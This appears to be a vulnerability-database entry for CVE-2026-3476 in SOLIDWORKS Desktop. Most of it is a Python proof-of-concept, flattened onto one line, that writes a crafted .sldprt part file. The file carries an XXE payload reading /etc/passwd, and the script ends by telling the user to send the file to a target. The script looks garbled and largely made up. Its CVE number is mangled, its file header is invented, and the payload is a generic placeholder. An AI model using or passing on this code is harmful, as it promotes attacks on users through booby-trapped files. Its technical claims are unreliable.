CVE-2026-3476 SOLIDWORKS Desktop代码注入漏洞

#!/usr/bin/env python3 # CVE-2026-2026-3476 PoC - SOLIDWORKS Desktop Code Injection # This PoC demonstrates the file format manipulation technique # WARNING: For educational and security research purposes only import struct import os def create_malicious_sldprt(): """ Create a malicious SOLIDWORKS part file to trigger CVE-2026-3476 This PoC generates a minimal SLDPRT file with injected payload """ # SLDPRT file header (simplified) header = b'SOLIDWORKS Part File\r\n' # Malicious payload - shellcode or command injection # In real attack, this would contain actual malicious code payload = b'<malicious_xml_payload><![CDATA[<?xml version="1.0"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data>&xxe;</data>]]></malicious_xml_payload>' # Crafted section that triggers the injection exploit_section = b'\x00' * 100 + payload + b'\x00' * 100 # File structure markers section_markers = [ b'PARTBODY', b'FEATURE', b'CUSTOMPROP', ] # Build malicious file content content = header content += b'Version:2026\n' content += exploit_section for marker in section_markers: content += marker + b'\n' content += exploit_section # End of file marker content += b'ENDSECTION\n' return content def main(): """Generate and save the PoC file""" output_file = 'CVE-2026-3476_malicious.sldprt' print(f'[*] Generating PoC for CVE-2026-3476') print(f'[*] Target: SOLIDWORKS Desktop (Release 2025-2026)') print(f'[*] Vulnerability: Code Injection') malicious_content = create_malicious_sldprt() with open(output_file, 'wb') as f: f.write(malicious_content) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(malicious_content)} bytes') print(f'[!] Send this file to target user for exploitation') print(f'[!] User must open this file in vulnerable SOLIDWORKS version') if __name__ == '__main__': main()